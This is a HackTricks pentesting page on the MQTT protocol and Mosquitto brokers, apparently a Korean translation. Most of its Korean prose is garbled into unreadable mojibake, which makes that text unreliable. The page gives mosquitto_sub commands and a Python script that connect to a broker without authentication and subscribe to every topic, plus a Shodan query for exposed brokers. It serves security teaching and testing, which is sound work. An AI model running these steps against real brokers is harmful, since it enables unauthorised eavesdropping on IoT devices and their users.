# 1883 - Pentesting MQTT (Mosquitto) {% hint style="success" %} Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! * **Join the** ๐Ÿ’ฌ [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** ๐Ÿฆ [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %} ## Basic Information **MQ Telemetry Transport (MQTT)**๋Š” **๊ฒŒ์‹œ/๊ตฌ๋… ๋ฉ”์‹œ์ง• ํ”„๋กœํ† ์ฝœ**๋กœ ์•Œ๋ ค์ ธ ์žˆ์œผ๋ฉฐ, ๊ทน๋„์˜ ๋‹จ์ˆœ์„ฑ๊ณผ ๊ฒฝ๋Ÿ‰์„ฑ์œผ๋กœ ๋‘๋“œ๋Ÿฌ์ง‘๋‹ˆ๋‹ค. ์ด ํ”„๋กœํ† ์ฝœ์€ ์žฅ์น˜์˜ ๊ธฐ๋Šฅ์ด ์ œํ•œ์ ์ด๊ณ  ๋‚ฎ์€ ๋Œ€์—ญํญ, ๋†’์€ ์ง€์—ฐ ์‹œ๊ฐ„ ๋˜๋Š” ๋ถˆ์•ˆ์ •ํ•œ ์—ฐ๊ฒฐ์ด ํŠน์ง•์ธ ๋„คํŠธ์›Œํฌ์—์„œ ์ž‘๋™ํ•˜๋Š” ํ™˜๊ฒฝ์— ํŠน๋ณ„ํžˆ ๋งž์ถฐ์ ธ ์žˆ์Šต๋‹ˆ๋‹ค. MQTT์˜ ํ•ต์‹ฌ ๋ชฉํ‘œ๋Š” ๋„คํŠธ์›Œํฌ ๋Œ€์—ญํญ ์‚ฌ์šฉ์„ ์ตœ์†Œํ™”ํ•˜๊ณ  ์žฅ์น˜ ๋ฆฌ์†Œ์Šค์— ๋Œ€ํ•œ ์ˆ˜์š”๋ฅผ ์ค„์ด๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค. ๋˜ํ•œ, ์‹ ๋ขฐํ•  ์ˆ˜ ์žˆ๋Š” ํ†ต์‹ ์„ ์œ ์ง€ํ•˜๊ณ  ์ผ์ • ์ˆ˜์ค€์˜ ์ „๋‹ฌ ๋ณด์žฅ์„ ์ œ๊ณตํ•˜๋Š” ๊ฒƒ์„ ๋ชฉํ‘œ๋กœ ํ•ฉ๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ๋ชฉํ‘œ๋Š” MQTT๋ฅผ **๊ธฐ๊ณ„ ๊ฐ„ ํ†ต์‹  (M2M)** ๋ฐ **์‚ฌ๋ฌผ์ธํ„ฐ๋„ท (IoT)**์˜ ๊ธ‰์„ฑ์žฅํ•˜๋Š” ๋ถ„์•ผ์— ํŠนํžˆ ์ ํ•ฉํ•˜๊ฒŒ ๋งŒ๋“ญ๋‹ˆ๋‹ค. ์—ฌ๊ธฐ์„œ ์ˆ˜๋งŽ์€ ์žฅ์น˜๋ฅผ ํšจ์œจ์ ์œผ๋กœ ์—ฐ๊ฒฐํ•˜๋Š” ๊ฒƒ์ด ํ•„์ˆ˜์ ์ž…๋‹ˆ๋‹ค. ๊ฒŒ๋‹ค๊ฐ€, MQTT๋Š” ๋Œ€์—ญํญ๊ณผ ๋ฐฐํ„ฐ๋ฆฌ ์ˆ˜๋ช…์„ ์ ˆ์•ฝํ•˜๋Š” ๊ฒƒ์ด ์ค‘์š”ํ•œ ๋ชจ๋ฐ”์ผ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์—๋„ ๋งค์šฐ ์œ ์šฉํ•ฉ๋‹ˆ๋‹ค. **๊ธฐ๋ณธ ํฌํŠธ:** 1883 ``` PORT STATE SERVICE REASON 1883/tcp open mosquitto version 1.4.8 syn-ack ``` ## ํŠธ๋ž˜ํ”ฝ ๊ฒ€์‚ฌ MQTT ๋ธŒ๋กœ์ปค๊ฐ€ **CONNECT** ํŒจํ‚ท์„ ์ˆ˜์‹ ํ•˜๋ฉด **CONNACK** ํŒจํ‚ท์ด ๋‹ค์‹œ ์ „์†ก๋ฉ๋‹ˆ๋‹ค. ์ด ํŒจํ‚ท์—๋Š” ์—ฐ๊ฒฐ ์ƒํƒœ๋ฅผ ์ดํ•ดํ•˜๋Š” ๋ฐ ์ค‘์š”ํ•œ ๋ฐ˜ํ™˜ ์ฝ”๋“œ๊ฐ€ ํฌํ•จ๋˜์–ด ์žˆ์Šต๋‹ˆ๋‹ค. ๋ฐ˜ํ™˜ ์ฝ”๋“œ **0x00**์€ ์ž๊ฒฉ ์ฆ๋ช…์ด ์ˆ˜๋ฝ๋˜์—ˆ์Œ์„ ์˜๋ฏธํ•˜๋ฉฐ, ์„ฑ๊ณต์ ์ธ ์—ฐ๊ฒฐ์„ ๋‚˜ํƒ€๋ƒ…๋‹ˆ๋‹ค. ๋ฐ˜๋ฉด, ๋ฐ˜ํ™˜ ์ฝ”๋“œ **0x05**๋Š” ์ž๊ฒฉ ์ฆ๋ช…์ด ์œ ํšจํ•˜์ง€ ์•Š์Œ์„ ๋‚˜ํƒ€๋‚ด์–ด ์—ฐ๊ฒฐ์„ ๋ฐฉ์ง€ํ•ฉ๋‹ˆ๋‹ค. ์˜ˆ๋ฅผ ๋“ค์–ด, ๋ธŒ๋กœ์ปค๊ฐ€ ์œ ํšจํ•˜์ง€ ์•Š์€ ์ž๊ฒฉ ์ฆ๋ช…์œผ๋กœ ์ธํ•ด ์—ฐ๊ฒฐ์„ ๊ฑฐ๋ถ€ํ•˜๋Š” ๊ฒฝ์šฐ, ์‹œ๋‚˜๋ฆฌ์˜ค๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™์ด ๋ณด์ผ ๊ฒƒ์ž…๋‹ˆ๋‹ค: ``` { "returnCode": "0x05", "description": "Connection Refused, not authorized" } ``` ![](<../.gitbook/assets/image (976).png>) ### [**๋ธŒ๋ฃจํŠธ ํฌ์Šค MQTT**](../generic-methodologies-and-resources/brute-force.md#mqtt) ## MQTT ํŽœํ…Œ์ŠคํŒ… **์ธ์ฆ์€ ์™„์ „ํžˆ ์„ ํƒ ์‚ฌํ•ญ์ž…๋‹ˆ๋‹ค** ๊ทธ๋ฆฌ๊ณ  ์ธ์ฆ์ด ์ˆ˜ํ–‰๋˜๊ณ  ์žˆ๋”๋ผ๋„, **๊ธฐ๋ณธ์ ์œผ๋กœ ์•”ํ˜ธํ™”๊ฐ€ ์‚ฌ์šฉ๋˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค** (์ž๊ฒฉ ์ฆ๋ช…์ด ํ‰๋ฌธ์œผ๋กœ ์ „์†ก๋ฉ๋‹ˆ๋‹ค). MITM ๊ณต๊ฒฉ์„ ํ†ตํ•ด ์—ฌ์ „ํžˆ ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ํ›”์น  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. MQTT ์„œ๋น„์Šค์— ์—ฐ๊ฒฐํ•˜๋ ค๋ฉด: [https://github.com/bapowell/python-mqtt-client-shell](https://github.com/bapowell/python-mqtt-client-shell)์„ ์‚ฌ์šฉํ•˜๊ณ  ๋‹ค์Œ์„ ์ˆ˜ํ–‰ํ•˜์—ฌ ๋ชจ๋“  ์ฃผ์ œ์— ๊ตฌ๋…ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: ``` > connect (NOTICE that you need to indicate before this the params of the connection, by default 127.0.0.1:1883) > subscribe "#" 1 > subscribe "$SYS/#" ``` ๋‹น์‹ ์€ ๋˜ํ•œ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: ```bash apt-get install mosquitto mosquitto-clients mosquitto_sub -t 'test/topic' -v #Subscribe to 'test/topic' mosquitto_sub -h -t "#" -v #Subscribe to ALL topics. ``` ๋˜๋Š” **์ด ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•˜์—ฌ ์ธ์ฆ ์—†์ด MQTT ์„œ๋น„์Šค์— ์—ฐ๊ฒฐํ•˜๊ณ  ๋ชจ๋“  ์ฃผ์ œ๋ฅผ ๊ตฌ๋…ํ•˜์—ฌ ์ˆ˜์‹ ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค**: ```python #This is a modified version of https://github.com/Warflop/IOT-MQTT-Exploit/blob/master/mqtt.py import paho.mqtt.client as mqtt import time import os HOST = "127.0.0.1" PORT = 1883 def on_connect(client, userdata, flags, rc): client.subscribe('#', qos=1) client.subscribe('$SYS/#') def on_message(client, userdata, message): print('Topic: %s | QOS: %s | Message: %s' % (message.topic, message.qos, message.payload)) def main(): client = mqtt.Client() client.on_connect = on_connect client.on_message = on_message client.connect(HOST, PORT) client.loop_start() #time.sleep(10) #client.loop_stop() if __name__ == "__main__": main() ``` ## More information from here: [https://morphuslabs.com/hacking-the-iot-with-mqtt-8edaf0d07b9b](https://morphuslabs.com/hacking-the-iot-with-mqtt-8edaf0d07b9b) ### The Publish/Subscribe Pattern The publish/subscribe model is composed of: * **Publisher**: ๋ธŒ๋กœ์ปค์˜ ํ•˜๋‚˜(๋˜๋Š” ์—ฌ๋Ÿฌ ๊ฐœ) ์ฃผ์ œ์— ๋ฉ”์‹œ์ง€๋ฅผ ๊ฒŒ์‹œํ•ฉ๋‹ˆ๋‹ค. * **Subscriber**: ๋ธŒ๋กœ์ปค์˜ ํ•˜๋‚˜(๋˜๋Š” ์—ฌ๋Ÿฌ ๊ฐœ) ์ฃผ์ œ๋ฅผ ๊ตฌ๋…ํ•˜๊ณ , ํผ๋ธ”๋ฆฌ์…”๋กœ๋ถ€ํ„ฐ ์ „์†ก๋œ ๋ชจ๋“  ๋ฉ”์‹œ์ง€๋ฅผ ์ˆ˜์‹ ํ•ฉ๋‹ˆ๋‹ค. * **Broker**: ํผ๋ธ”๋ฆฌ์…”๋กœ๋ถ€ํ„ฐ ๊ตฌ๋…์ž์—๊ฒŒ ๋ชจ๋“  ๋ฉ”์‹œ์ง€๋ฅผ ๋ผ์šฐํŒ…ํ•ฉ๋‹ˆ๋‹ค. * **Topic**: ์Šฌ๋ž˜์‹œ๋กœ ๊ตฌ๋ถ„๋œ ํ•˜๋‚˜ ์ด์ƒ์˜ ๋ ˆ๋ฒจ๋กœ ๊ตฌ์„ฑ๋ฉ๋‹ˆ๋‹ค (์˜ˆ: /smartshouse/livingroom/temperature). ### Packet Format Every MQTT packet contains a fixed header (Figure 02).Figure 02: Fixed Header ![https://miro.medium.com/max/838/1\*k6RkAHEk0576geQGUcKSTA.png](https://miro.medium.com/max/838/1\*k6RkAHEk0576geQGUcKSTA.png) ### Packet Types * CONNECT (1): ํด๋ผ์ด์–ธํŠธ๊ฐ€ ์„œ๋ฒ„์— ์—ฐ๊ฒฐ ์š”์ฒญ์„ ์‹œ์ž‘ํ•ฉ๋‹ˆ๋‹ค. * CONNACK (2): ์„œ๋ฒ„์˜ ์„ฑ๊ณต์ ์ธ ์—ฐ๊ฒฐ์— ๋Œ€ํ•œ ํ™•์ธ์ž…๋‹ˆ๋‹ค. * PUBLISH (3): ํด๋ผ์ด์–ธํŠธ์—์„œ ์„œ๋ฒ„๋กœ ๋˜๋Š” ๊ทธ ๋ฐ˜๋Œ€๋กœ ๋ฉ”์‹œ์ง€๋ฅผ ์ „์†กํ•˜๋Š” ๋ฐ ์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค. * PUBACK (4): PUBLISH ํŒจํ‚ท์— ๋Œ€ํ•œ ํ™•์ธ์ž…๋‹ˆ๋‹ค. * PUBREC (5): ๋ฉ”์‹œ์ง€๊ฐ€ ์ˆ˜์‹ ๋˜์—ˆ์Œ์„ ๋ณด์žฅํ•˜๋Š” ๋ฉ”์‹œ์ง€ ์ „์†ก ํ”„๋กœํ† ์ฝœ์˜ ์ผ๋ถ€์ž…๋‹ˆ๋‹ค. * PUBREL (6): ๋ฉ”์‹œ์ง€ ์ „์†ก์— ๋Œ€ํ•œ ์ถ”๊ฐ€ ๋ณด์ฆ์œผ๋กœ, ๋ฉ”์‹œ์ง€ ํ•ด์ œ๋ฅผ ๋‚˜ํƒ€๋ƒ…๋‹ˆ๋‹ค. * PUBCOMP (7): ๋ฉ”์‹œ์ง€ ์ „์†ก ํ”„๋กœํ† ์ฝœ์˜ ๋งˆ์ง€๋ง‰ ๋ถ€๋ถ„์œผ๋กœ, ์™„๋ฃŒ๋ฅผ ๋‚˜ํƒ€๋ƒ…๋‹ˆ๋‹ค. * SUBSCRIBE (8): ํด๋ผ์ด์–ธํŠธ๊ฐ€ ์ฃผ์ œ๋กœ๋ถ€ํ„ฐ ๋ฉ”์‹œ์ง€๋ฅผ ์ˆ˜์‹ ํ•˜๊ธฐ ์œ„ํ•œ ์š”์ฒญ์ž…๋‹ˆ๋‹ค. * SUBACK (9): SUBSCRIBE ์š”์ฒญ์— ๋Œ€ํ•œ ์„œ๋ฒ„์˜ ํ™•์ธ์ž…๋‹ˆ๋‹ค. * UNSUBSCRIBE (10): ํด๋ผ์ด์–ธํŠธ๊ฐ€ ์ฃผ์ œ๋กœ๋ถ€ํ„ฐ ๋ฉ”์‹œ์ง€ ์ˆ˜์‹ ์„ ์ค‘๋‹จํ•˜๊ธฐ ์œ„ํ•œ ์š”์ฒญ์ž…๋‹ˆ๋‹ค. * UNSUBACK (11): UNSUBSCRIBE ์š”์ฒญ์— ๋Œ€ํ•œ ์„œ๋ฒ„์˜ ์‘๋‹ต์ž…๋‹ˆ๋‹ค. * PINGREQ (12): ํด๋ผ์ด์–ธํŠธ๊ฐ€ ์ „์†กํ•˜๋Š” ํ•˜ํŠธ๋น„ํŠธ ๋ฉ”์‹œ์ง€์ž…๋‹ˆ๋‹ค. * PINGRESP (13): ํ•˜ํŠธ๋น„ํŠธ ๋ฉ”์‹œ์ง€์— ๋Œ€ํ•œ ์„œ๋ฒ„์˜ ์‘๋‹ต์ž…๋‹ˆ๋‹ค. * DISCONNECT (14): ํด๋ผ์ด์–ธํŠธ๊ฐ€ ์—ฐ๊ฒฐ์„ ์ข…๋ฃŒํ•˜๊ธฐ ์œ„ํ•ด ์‹œ์ž‘ํ•ฉ๋‹ˆ๋‹ค. * ๋‘ ๊ฐ’, 0๊ณผ 15๋Š” ์˜ˆ์•ฝ์œผ๋กœ ํ‘œ์‹œ๋˜๋ฉฐ ์‚ฌ์šฉ์ด ๊ธˆ์ง€๋ฉ๋‹ˆ๋‹ค. ## Shodan * `port:1883 MQTT` {% hint style="success" %} Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! * **Join the** ๐Ÿ’ฌ [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** ๐Ÿฆ [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %}